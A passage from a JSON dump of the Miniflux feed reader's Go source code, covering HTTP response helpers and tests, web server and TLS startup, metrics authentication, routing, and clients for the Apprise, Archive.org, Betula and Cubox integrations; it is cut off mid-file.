    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage response // import \"miniflux.app/v2/internal/http/response\"\n\nimport \"net/http\"\n\n// Text writes a standard text response with a status 200 OK.\nfunc Text(w http.ResponseWriter, r *http.Request, body string) {\n\tbuilder := NewBuilder(w, r)\n\tbuilder.WithHeader(\"Content-Type\", `text/plain; charset=utf-8`)\n\tbuilder.WithBodyAsString(body)\n\tbuilder.Write()\n}\n"
  },
  {
    "path": "internal/http/response/text_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage response // import \"miniflux.app/v2/internal/http/response\"\n\nimport (\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"testing\"\n)\n\nfunc TestTextResponse(t *testing.T) {\n\tr, err := http.NewRequest(\"GET\", \"/\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tw := httptest.NewRecorder()\n\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tText(w, r, \"Some plain text\")\n\t})\n\n\thandler.ServeHTTP(w, r)\n\tresp := w.Result()\n\tdefer resp.Body.Close()\n\n\tif resp.StatusCode != http.StatusOK {\n\t\tt.Fatalf(`Unexpected status code, got %d instead of %d`, resp.StatusCode, http.StatusOK)\n\t}\n\n\tif actualBody := w.Body.String(); actualBody != \"Some plain text\" {\n\t\tt.Fatalf(`Unexpected body, got %q instead of %q`, actualBody, \"Some plain text\")\n\t}\n\n\tif actualContentType := resp.Header.Get(\"Content-Type\"); actualContentType != \"text/plain; charset=utf-8\" {\n\t\tt.Fatalf(`Unexpected content type, got %q instead of %q`, actualContentType, \"text/plain; charset=utf-8\")\n\t}\n}\n"
  },
  {
    "path": "internal/http/response/xml.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage response // import \"miniflux.app/v2/internal/http/response\"\n\nimport \"net/http\"\n\n// XML writes a standard XML response with a status 200 OK.\nfunc XML(w http.ResponseWriter, r *http.Request, body string) {\n\tbuilder := NewBuilder(w, r)\n\tbuilder.WithHeader(\"Content-Type\", \"text/xml; charset=utf-8\")\n\tbuilder.WithBodyAsString(body)\n\tbuilder.Write()\n}\n\n// XMLAttachment forces the XML document to be downloaded by the web browser.\nfunc XMLAttachment(w http.ResponseWriter, r *http.Request, filename string, body string) {\n\tbuilder := NewBuilder(w, r)\n\tbuilder.WithHeader(\"Content-Type\", \"text/xml; charset=utf-8\")\n\tbuilder.WithAttachment(filename)\n\tbuilder.WithBodyAsString(body)\n\tbuilder.Write()\n}\n"
  },
  {
    "path": "internal/http/response/xml_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage response // import \"miniflux.app/v2/internal/http/response\"\n\nimport (\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"testing\"\n)\n\nfunc TestXMLResponse(t *testing.T) {\n\tr, err := http.NewRequest(\"GET\", \"/\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tw := httptest.NewRecorder()\n\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tXML(w, r, \"Some XML\")\n\t})\n\n\thandler.ServeHTTP(w, r)\n\tresp := w.Result()\n\n\tif resp.StatusCode != http.StatusOK {\n\t\tt.Fatalf(`Unexpected status code, got %d instead of %d`, resp.StatusCode, http.StatusOK)\n\t}\n\n\tif actualBody := w.Body.String(); actualBody != \"Some XML\" {\n\t\tt.Fatalf(`Unexpected body, got %s instead of %s`, actualBody, \"Some XML\")\n\t}\n\n\tif actualContentType := resp.Header.Get(\"Content-Type\"); actualContentType != \"text/xml; charset=utf-8\" {\n\t\tt.Fatalf(`Unexpected content type, got %q instead of %q`, actualContentType, \"text/xml; charset=utf-8\")\n\t}\n}\n\nfunc TestXMLAttachmentResponse(t *testing.T) {\n\tr, err := http.NewRequest(\"GET\", \"/\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tw := httptest.NewRecorder()\n\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tXMLAttachment(w, r, \"file.xml\", \"Some XML\")\n\t})\n\n\thandler.ServeHTTP(w, r)\n\tresp := w.Result()\n\n\tif resp.StatusCode != http.StatusOK {\n\t\tt.Fatalf(`Unexpected status code, got %d instead of %d`, resp.StatusCode, http.StatusOK)\n\t}\n\n\tif actualBody := w.Body.String(); actualBody != \"Some XML\" {\n\t\tt.Fatalf(`Unexpected body, got %s instead of %s`, actualBody, \"Some XML\")\n\t}\n\n\theaders := map[string]string{\n\t\t\"Content-Type\":        \"text/xml; charset=utf-8\",\n\t\t\"Content-Disposition\": \"attachment; filename=file.xml\",\n\t}\n\n\tfor header, expected := range headers {\n\t\tif actual := resp.Header.Get(header); actual != expected {\n\t\t\tt.Fatalf(`Unexpected header value, got %q instead of %q`, actual, expected)\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "internal/http/server/healthcheck.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage server // import \"miniflux.app/v2/internal/http/server\"\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/storage\"\n)\n\nfunc livenessProbe(w http.ResponseWriter, r *http.Request) {\n\tw.WriteHeader(http.StatusOK)\n\tw.Write([]byte(\"OK\"))\n}\n\nfunc newReadinessProbe(store *storage.Storage) http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\tif err := store.Ping(); err != nil {\n\t\t\thttp.Error(w, fmt.Sprintf(\"Database Connection Error: %q\", err), http.StatusServiceUnavailable)\n\t\t\treturn\n\t\t}\n\t\tw.WriteHeader(http.StatusOK)\n\t\tw.Write([]byte(\"OK\"))\n\t}\n}\n"
  },
  {
    "path": "internal/http/server/httpd.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage server // import \"miniflux.app/v2/internal/http/server\"\n\nimport (\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"log/slog\"\n\t\"net\"\n\t\"net/http\"\n\t\"os\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/storage\"\n\t\"miniflux.app/v2/internal/worker\"\n\n\t\"golang.org/x/crypto/acme\"\n\t\"golang.org/x/crypto/acme/autocert\"\n)\n\nfunc StartWebServer(store *storage.Storage, pool *worker.Pool) []*http.Server {\n\tlistenAddresses := config.Opts.ListenAddr()\n\tvar httpServers []*http.Server\n\n\tcertFile := config.Opts.CertFile()\n\tkeyFile := config.Opts.CertKeyFile()\n\tcertDomain := config.Opts.CertDomain()\n\tvar sharedAutocertTLSConfig *tls.Config\n\n\tif certDomain != \"\" {\n\t\tslog.Debug(\"Configuring autocert manager and shared TLS config\", slog.String(\"domain\", certDomain))\n\t\tcertManager := autocert.Manager{\n\t\t\tCache:      storage.NewCertificateCache(store),\n\t\t\tPrompt:     autocert.AcceptTOS,\n\t\t\tHostPolicy: autocert.HostWhitelist(certDomain),\n\t\t}\n\n\t\tsharedAutocertTLSConfig = &tls.Config{}\n\t\tsharedAutocertTLSConfig.GetCertificate = certManager.GetCertificate\n\t\tsharedAutocertTLSConfig.NextProtos = []string{\"h2\", \"http/1.1\", acme.ALPNProto}\n\n\t\tchallengeServer := &http.Server{\n\t\t\tHandler: certManager.HTTPHandler(nil),\n\t\t\tAddr:    \":http\",\n\t\t}\n\t\tslog.Info(\"Starting ACME HTTP challenge server for autocert\", slog.String(\"address\", challengeServer.Addr))\n\t\tgo func() {\n\t\t\tif err := challengeServer.ListenAndServe(); err != http.ErrServerClosed {\n\t\t\t\tslog.Error(\"ACME HTTP challenge server failed\", slog.Any(\"error\", err))\n\t\t\t}\n\t\t}()\n\t\tconfig.Opts.SetHTTPSValue(true)\n\t\thttpServers = append(httpServers, challengeServer)\n\t}\n\n\tfor i, listenAddr := range listenAddresses {\n\t\tserver := &http.Server{\n\t\t\tReadTimeout:  config.Opts.HTTPServerTimeout(),\n\t\t\tWriteTimeout: config.Opts.HTTPServerTimeout(),\n\t\t\tIdleTimeout:  config.Opts.HTTPServerTimeout(),\n\t\t\tHandler:      newRouter(store, pool),\n\t\t}\n\n\t\tisUNIXSocket := strings.HasPrefix(listenAddr, \"/\")\n\t\tisListenPID := os.Getenv(\"LISTEN_PID\") == strconv.Itoa(os.Getpid())\n\n\t\tif !isUNIXSocket && !isListenPID {\n\t\t\tserver.Addr = listenAddr\n\t\t}\n\n\t\tswitch {\n\t\tcase isListenPID:\n\t\t\tif i == 0 {\n\t\t\t\tslog.Info(\"Starting server using systemd socket for the first listen address\", slog.String(\"address_info\", listenAddr))\n\t\t\t\tstartSystemdSocketServer(server)\n\t\t\t} else {\n\t\t\t\tslog.Warn(\"Systemd socket activation: Only the first listen address is used by systemd. Other addresses are ignored.\", slog.String(\"skipped_address\", listenAddr))\n\t\t\t\tcontinue\n\t\t\t}\n\t\tcase isUNIXSocket:\n\t\t\tstartUnixSocketServer(server, listenAddr)\n\t\tcase certDomain != \"\" && (listenAddr == \":https\" || (i == 0 && strings.Contains(listenAddr, \":\"))):\n\t\t\tserver.Addr = listenAddr\n\t\t\tstartAutoCertTLSServer(server, sharedAutocertTLSConfig)\n\t\tcase certFile != \"\" && keyFile != \"\":\n\t\t\tserver.Addr = listenAddr\n\t\t\tstartTLSServer(server, certFile, keyFile)\n\t\t\tconfig.Opts.SetHTTPSValue(true)\n\t\tdefault:\n\t\t\tserver.Addr = listenAddr\n\t\t\tstartHTTPServer(server)\n\t\t}\n\n\t\thttpServers = append(httpServers, server)\n\t}\n\n\treturn httpServers\n}\n\nfunc startSystemdSocketServer(server *http.Server) {\n\tgo func() {\n\t\tf := os.NewFile(3, \"systemd socket\")\n\t\tlistener, err := net.FileListener(f)\n\t\tif err != nil {\n\t\t\tprintErrorAndExit(`Unable to create listener from systemd socket: %v`, err)\n\t\t}\n\n\t\tslog.Info(`Starting server using systemd socket`)\n\t\tif err := server.Serve(listener); err != http.ErrServerClosed {\n\t\t\tprintErrorAndExit(`Systemd socket server failed to start: %v`, err)\n\t\t}\n\t}()\n}\n\nfunc startUnixSocketServer(server *http.Server, socketFile string) {\n\tif err := os.Remove(socketFile); err != nil && !os.IsNotExist(err) {\n\t\tprintErrorAndExit(\"Unable to remove existing Unix socket %s: %v\", socketFile, err)\n\t}\n\tlistener, err := net.Listen(\"unix\", socketFile)\n\tif err != nil {\n\t\tprintErrorAndExit(`Server failed to listen on Unix socket %s: %v`, socketFile, err)\n\t}\n\n\tif err := os.Chmod(socketFile, 0666); err != nil {\n\t\tprintErrorAndExit(`Unable to change socket permission for %s: %v`, socketFile, err)\n\t}\n\n\tgo func() {\n\t\tcertFile := config.Opts.CertFile()\n\t\tkeyFile := config.Opts.CertKeyFile()\n\n\t\tif certFile != \"\" && keyFile != \"\" {\n\t\t\tslog.Info(\"Starting TLS server using a Unix socket\",\n\t\t\t\tslog.String(\"socket\", socketFile),\n\t\t\t\tslog.String(\"cert_file\", certFile),\n\t\t\t\tslog.String(\"key_file\", keyFile),\n\t\t\t)\n\t\t\t// Ensure HTTPS is marked as true if any listener uses TLS\n\t\t\tconfig.Opts.SetHTTPSValue(true)\n\t\t\tif err := server.ServeTLS(listener, certFile, keyFile); err != http.ErrServerClosed {\n\t\t\t\tprintErrorAndExit(\"TLS Unix socket server failed to start on %s: %v\", socketFile, err)\n\t\t\t}\n\t\t} else {\n\t\t\tslog.Info(\"Starting server using a Unix socket\", slog.String(\"socket\", socketFile))\n\t\t\tif err := server.Serve(listener); err != http.ErrServerClosed {\n\t\t\t\tprintErrorAndExit(\"Unix socket server failed to start on %s: %v\", socketFile, err)\n\t\t\t}\n\t\t}\n\t}()\n}\n\nfunc startAutoCertTLSServer(server *http.Server, autoTLSConfig *tls.Config) {\n\tif server.TLSConfig == nil {\n\t\tserver.TLSConfig = &tls.Config{}\n\t}\n\tserver.TLSConfig.GetCertificate = autoTLSConfig.GetCertificate\n\tserver.TLSConfig.NextProtos = autoTLSConfig.NextProtos\n\n\tgo func() {\n\t\tslog.Info(\"Starting TLS server using automatic certificate management\",\n\t\t\tslog.String(\"listen_address\", server.Addr),\n\t\t)\n\t\tif err := server.ListenAndServeTLS(\"\", \"\"); err != http.ErrServerClosed {\n\t\t\tprintErrorAndExit(\"Autocert server failed to start on %s: %v\", server.Addr, err)\n\t\t}\n\t}()\n}\n\nfunc startTLSServer(server *http.Server, certFile, keyFile string) {\n\tgo func() {\n\t\tslog.Info(\"Starting TLS server using a certificate\",\n\t\t\tslog.String(\"listen_address\", server.Addr),\n\t\t\tslog.String(\"cert_file\", certFile),\n\t\t\tslog.String(\"key_file\", keyFile),\n\t\t)\n\t\tif err := server.ListenAndServeTLS(certFile, keyFile); err != http.ErrServerClosed {\n\t\t\tprintErrorAndExit(\"TLS server failed to start on %s: %v\", server.Addr, err)\n\t\t}\n\t}()\n}\n\nfunc startHTTPServer(server *http.Server) {\n\tgo func() {\n\t\tslog.Info(\"Starting HTTP server\",\n\t\t\tslog.String(\"listen_address\", server.Addr),\n\t\t)\n\t\tif err := server.ListenAndServe(); err != http.ErrServerClosed {\n\t\t\tprintErrorAndExit(\"HTTP server failed to start on %s: %v\", server.Addr, err)\n\t\t}\n\t}()\n}\n\nfunc printErrorAndExit(format string, a ...any) {\n\tmessage := fmt.Sprintf(format, a...)\n\tslog.Error(message)\n\tfmt.Fprintf(os.Stderr, \"%v\\n\", message)\n\tos.Exit(1)\n}\n"
  },
  {
    "path": "internal/http/server/metrics.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage server // import \"miniflux.app/v2/internal/http/server\"\n\nimport (\n\t\"log/slog\"\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/request\"\n\n\t\"github.com/prometheus/client_golang/prometheus/promhttp\"\n)\n\nfunc metricsHandler() http.Handler {\n\thandler := promhttp.Handler()\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tif !isAllowedToAccessMetricsEndpoint(r) {\n\t\t\tslog.Warn(\"Authentication failed while accessing the metrics endpoint\",\n\t\t\t\tslog.String(\"client_ip\", request.ClientIP(r)),\n\t\t\t\tslog.String(\"client_user_agent\", r.UserAgent()),\n\t\t\t\tslog.String(\"client_remote_addr\", r.RemoteAddr),\n\t\t\t)\n\t\t\thttp.NotFound(w, r)\n\t\t\treturn\n\t\t}\n\t\thandler.ServeHTTP(w, r)\n\t})\n}\n\nfunc isAllowedToAccessMetricsEndpoint(r *http.Request) bool {\n\tclientIP := request.ClientIP(r)\n\n\tif config.Opts.MetricsUsername() != \"\" && config.Opts.MetricsPassword() != \"\" {\n\t\tusername, password, authOK := r.BasicAuth()\n\t\tif !authOK {\n\t\t\tslog.Warn(\"Metrics endpoint accessed without authentication header\",\n\t\t\t\tslog.Bool(\"authentication_failed\", true),\n\t\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\t\tslog.String(\"client_user_agent\", r.UserAgent()),\n\t\t\t\tslog.String(\"client_remote_addr\", r.RemoteAddr),\n\t\t\t)\n\t\t\treturn false\n\t\t}\n\n\t\tif username == \"\" || password == \"\" {\n\t\t\tslog.Warn(\"Metrics endpoint accessed with empty username or password\",\n\t\t\t\tslog.Bool(\"authentication_failed\", true),\n\t\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\t\tslog.String(\"client_user_agent\", r.UserAgent()),\n\t\t\t\tslog.String(\"client_remote_addr\", r.RemoteAddr),\n\t\t\t)\n\t\t\treturn false\n\t\t}\n\n\t\tif username != config.Opts.MetricsUsername() || password != config.Opts.MetricsPassword() {\n\t\t\tslog.Warn(\"Metrics endpoint accessed with invalid username or password\",\n\t\t\t\tslog.Bool(\"authentication_failed\", true),\n\t\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\t\tslog.String(\"client_user_agent\", r.UserAgent()),\n\t\t\t\tslog.String(\"client_remote_addr\", r.RemoteAddr),\n\t\t\t)\n\t\t\treturn false\n\t\t}\n\t}\n\n\tremoteIP := request.FindRemoteIP(r)\n\treturn request.IsTrustedIP(remoteIP, config.Opts.MetricsAllowedNetworks())\n}\n"
  },
  {
    "path": "internal/http/server/middleware.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage server // import \"miniflux.app/v2/internal/http/server\"\n\nimport (\n\t\"context\"\n\t\"log/slog\"\n\t\"net/http\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/request\"\n)\n\nfunc middleware(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tremoteIP := request.FindRemoteIP(r)\n\t\tisTrustedProxyClientIP := request.IsTrustedIP(remoteIP, config.Opts.TrustedReverseProxyNetworks())\n\t\tclientIP := request.FindClientIP(r, isTrustedProxyClientIP)\n\t\tctx := r.Context()\n\t\tctx = context.WithValue(ctx, request.ClientIPContextKey, clientIP)\n\n\t\tif isTrustedProxyClientIP && r.Header.Get(\"X-Forwarded-Proto\") == \"https\" {\n\t\t\tconfig.Opts.SetHTTPSValue(true)\n\t\t}\n\n\t\tt1 := time.Now()\n\t\tdefer func() {\n\t\t\tslog.Debug(\"Incoming request\",\n\t\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\t\tslog.Group(\"request\",\n\t\t\t\t\tslog.String(\"method\", r.Method),\n\t\t\t\t\tslog.String(\"uri\", r.RequestURI),\n\t\t\t\t\tslog.String(\"protocol\", r.Proto),\n\t\t\t\t\tslog.Duration(\"execution_time\", time.Since(t1)),\n\t\t\t\t),\n\t\t\t)\n\t\t}()\n\n\t\tif config.Opts.HTTPS() && config.Opts.HasHSTS() {\n\t\t\tw.Header().Set(\"Strict-Transport-Security\", \"max-age=31536000\")\n\t\t}\n\n\t\tnext.ServeHTTP(w, r.WithContext(ctx))\n\t})\n}\n"
  },
  {
    "path": "internal/http/server/routes.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage server // import \"miniflux.app/v2/internal/http/server\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/api\"\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/fever\"\n\t\"miniflux.app/v2/internal/googlereader\"\n\t\"miniflux.app/v2/internal/storage\"\n\t\"miniflux.app/v2/internal/ui\"\n\t\"miniflux.app/v2/internal/worker\"\n)\n\nfunc newRouter(store *storage.Storage, pool *worker.Pool) http.Handler {\n\treadinessProbe := newReadinessProbe(store)\n\n\t// Application routes served under the base path.\n\tappMux := http.NewServeMux()\n\n\tappMux.HandleFunc(\"GET /healthcheck\", readinessProbe)\n\n\t// Fever API routing.\n\tfeverHandler := fever.Middleware(store)(fever.NewHandler(store))\n\tappMux.Handle(\"/fever/\", feverHandler)\n\n\t// Google Reader API routing.\n\tgoogleReaderHandler := googlereader.NewHandler(store)\n\tappMux.HandleFunc(\"POST /accounts/ClientLogin\", googleReaderHandler.ServeHTTP)\n\tappMux.Handle(\"/reader/api/0/\", googleReaderHandler)\n\n\t// REST API routing.\n\tif config.Opts.HasAPI() {\n\t\tappMux.Handle(\"/v1/\", api.NewHandler(store, pool))\n\t}\n\n\t// Metrics endpoint.\n\tif config.Opts.HasMetricsCollector() {\n\t\tappMux.Handle(\"GET /metrics\", metricsHandler())\n\t}\n\n\t// UI routing (catch-all).\n\tappMux.Handle(\"/\", ui.Serve(store, pool))\n\n\t// Apply shared middleware.\n\tvar appHandler http.Handler = appMux\n\tif config.Opts.HasMaintenanceMode() {\n\t\tappHandler = http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\tw.Write([]byte(config.Opts.MaintenanceMessage()))\n\t\t})\n\t}\n\tappHandler = middleware(appHandler)\n\n\t// Root router: health probes at root, app routes under base path.\n\trootMux := http.NewServeMux()\n\n\t// These routes do not take the base path into consideration and are always available at the root of the server.\n\trootMux.HandleFunc(\"/liveness\", livenessProbe)\n\trootMux.HandleFunc(\"/healthz\", livenessProbe)\n\trootMux.HandleFunc(\"/readiness\", readinessProbe)\n\trootMux.HandleFunc(\"/readyz\", readinessProbe)\n\n\tbasePath := config.Opts.BasePath()\n\tif basePath != \"\" {\n\t\trootMux.Handle(basePath+\"/\", http.StripPrefix(basePath, appHandler))\n\t} else {\n\t\trootMux.Handle(\"/\", appHandler)\n\t}\n\n\treturn rootMux\n}\n"
  },
  {
    "path": "internal/integration/apprise/apprise.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage apprise\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"log/slog\"\n\t\"net/http\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/client\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/urllib\"\n\t\"miniflux.app/v2/internal/version\"\n)\n\nconst defaultClientTimeout = 10 * time.Second\n\ntype Client struct {\n\tservicesURL string\n\tbaseURL     string\n}\n\nfunc NewClient(serviceURL, baseURL string) *Client {\n\treturn &Client{servicesURL: serviceURL, baseURL: baseURL}\n}\n\nfunc (c *Client) SendNotification(feed *model.Feed, entries model.Entries) error {\n\tif c.baseURL == \"\" || c.servicesURL == \"\" {\n\t\treturn errors.New(\"apprise: missing base URL or services URL\")\n\t}\n\n\tfor _, entry := range entries {\n\t\tmessage := \"[\" + entry.Title + \"]\" + \"(\" + entry.URL + \")\" + \"\\n\\n\"\n\t\tapiEndpoint, err := urllib.JoinBaseURLAndPath(c.baseURL, \"/notify\")\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(`apprise: invalid API endpoint: %v`, err)\n\t\t}\n\n\t\trequestBody, err := json.Marshal(map[string]any{\n\t\t\t\"urls\":  c.servicesURL,\n\t\t\t\"body\":  message,\n\t\t\t\"title\": feed.Title,\n\t\t})\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"apprise: unable to encode request body: %v\", err)\n\t\t}\n\n\t\trequest, err := http.NewRequest(http.MethodPost, apiEndpoint, bytes.NewReader(requestBody))\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"apprise: unable to create request: %v\", err)\n\t\t}\n\n\t\trequest.Header.Set(\"Content-Type\", \"application/json\")\n\t\trequest.Header.Set(\"User-Agent\", \"Miniflux/\"+version.Version)\n\n\t\tslog.Debug(\"Sending Apprise notification\",\n\t\t\tslog.String(\"apprise_url\", c.baseURL),\n\t\t\tslog.String(\"services_url\", c.servicesURL),\n\t\t\tslog.String(\"title\", feed.Title),\n\t\t\tslog.String(\"body\", message),\n\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t)\n\n\t\thttpClient := client.NewClientWithOptions(client.Options{Timeout: defaultClientTimeout, BlockPrivateNetworks: !config.Opts.IntegrationAllowPrivateNetworks()})\n\t\tresponse, err := httpClient.Do(request)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"apprise: unable to send request: %v\", err)\n\t\t}\n\t\tdefer response.Body.Close()\n\n\t\tif response.StatusCode >= 400 {\n\t\t\treturn fmt.Errorf(\"apprise: unable to send a notification: url=%s status=%d\", apiEndpoint, response.StatusCode)\n\t\t}\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "internal/integration/archiveorg/archiveorg.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage archiveorg\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/http/client\"\n\t\"miniflux.app/v2/internal/version\"\n)\n\nconst defaultClientTimeout = 30 * time.Second\n\n// See https://docs.google.com/document/d/1Nsv52MvSjbLb2PCpHlat0gkzw0EvtSgpKHu4mk0MnrA/edit?tab=t.0\nconst options = \"delay_wb_availability=1&if_not_archived_within=15d\"\n\ntype Client struct{}\n\nfunc NewClient() *Client {\n\treturn &Client{}\n}\n\nfunc (c *Client) SendURL(entryURL string) error {\n\trequestURL := \"https://web.archive.org/save/\" + url.QueryEscape(entryURL) + \"?\" + options\n\trequest, err := http.NewRequest(http.MethodGet, requestURL, nil)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"archiveorg: unable to create request: %v\", err)\n\t}\n\n\trequest.Header.Set(\"User-Agent\", \"Miniflux/\"+version.Version)\n\n\thttpClient := client.NewClientWithOptions(client.Options{Timeout: defaultClientTimeout})\n\tresponse, err := httpClient.Do(request)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"archiveorg: unable to send request: %v\", err)\n\t}\n\tdefer response.Body.Close()\n\n\tif response.StatusCode >= 400 {\n\t\treturn fmt.Errorf(\"archiveorg: unexpected status code: url=%s status=%d\", requestURL, response.StatusCode)\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "internal/integration/betula/betula.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage betula // import \"miniflux.app/v2/internal/integration/betula\"\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"strings\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/client\"\n\t\"miniflux.app/v2/internal/urllib\"\n\t\"miniflux.app/v2/internal/version\"\n)\n\nconst defaultClientTimeout = 10 * time.Second\n\ntype Client struct {\n\turl   string\n\ttoken string\n}\n\nfunc NewClient(url, token string) *Client {\n\treturn &Client{url: url, token: token}\n}\n\nfunc (c *Client) CreateBookmark(entryURL, entryTitle string, tags []string) error {\n\tapiEndpoint, err := urllib.JoinBaseURLAndPath(c.url, \"/save-link\")\n\tif err != nil {\n\t\treturn fmt.Errorf(\"betula: unable to generate save-link endpoint: %v\", err)\n\t}\n\n\tvalues := url.Values{}\n\tvalues.Add(\"url\", entryURL)\n\tvalues.Add(\"title\", entryTitle)\n\tvalues.Add(\"tags\", strings.Join(tags, \",\"))\n\n\trequest, err := http.NewRequest(http.MethodPost, apiEndpoint+\"?\"+values.Encode(), nil)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"betula: unable to create request: %v\", err)\n\t}\n\n\trequest.Header.Set(\"User-Agent\", \"Miniflux/\"+version.Version)\n\trequest.AddCookie(&http.Cookie{Name: \"betula-token\", Value: c.token})\n\n\thttpClient := client.NewClientWithOptions(client.Options{Timeout: defaultClientTimeout, BlockPrivateNetworks: !config.Opts.IntegrationAllowPrivateNetworks()})\n\tresponse, err := httpClient.Do(request)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"betula: unable to send request: %v\", err)\n\t}\n\tdefer response.Body.Close()\n\n\tif response.StatusCode >= 400 {\n\t\treturn fmt.Errorf(\"betula: unable to create bookmark: url=%s status=%d\", apiEndpoint, response.StatusCode)\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "internal/integration/cubox/cubox.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\n// Cubox API documentation: https://help.cubox.cc/save/api/\n\npackage cubox // import \"miniflux.app/v2/internal/integration/cubox\"\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/client\"\n\t\"miniflux.app/v2/internal/version\"\n)\n\nconst defaultClientTimeout = 10 * time.Second\n\ntype Client struct {\n\tapiLink string\n}\n\nfunc NewClient(apiLink string) *Client {\n\treturn &Client{apiLink: apiLink}\n}\n\nfunc (c *Client) SaveLink(entryURL string) error {\n\tif c.apiLink == \"\" {\n\t\treturn errors.New(\"cubox: missing API link\")\n\t}\n\n\trequestBody, err := json.Marshal(&card{\n\t\tType:    \"url\",\n\t\tContent: entryURL,\n\t})\n\tif err != nil {\n\t\treturn fmt.Errorf(\"cubox: unable to encode request body: %w\", err)\n\t}\n\n\tctx, cancel := context.WithTimeout(context.Background(), defaultClientTimeout)\n\tdefer cancel()\n\n\trequest, err := http.NewRequestWithContext(ctx, http.MethodPost, c.apiLink, bytes.NewReader(requestBody))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"cubox: unable to create request: %w\", err)\n\t}\n\n\trequest.Header.Set(\"Content-Type\", \"application/json\")\n\trequest.Header.Set(\"User-Agent\", \"Miniflux/\"+version.Version)\n\n\tresponse, err := client.NewClientWithOptions(client.Options{Timeout: defaultClientTimeout, BlockPrivateNetworks: !config.Opts.IntegrationAllowPrivateNetworks()}).Do(request)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"cubox: unable to send request: %w\", err)\n\t}\n\tdefer response.Body.Close()\n\n\tif response.StatusCode != 200 {\n\t\treturn fmt.Errorf(\"cubox: unable to save link: status=%d\", 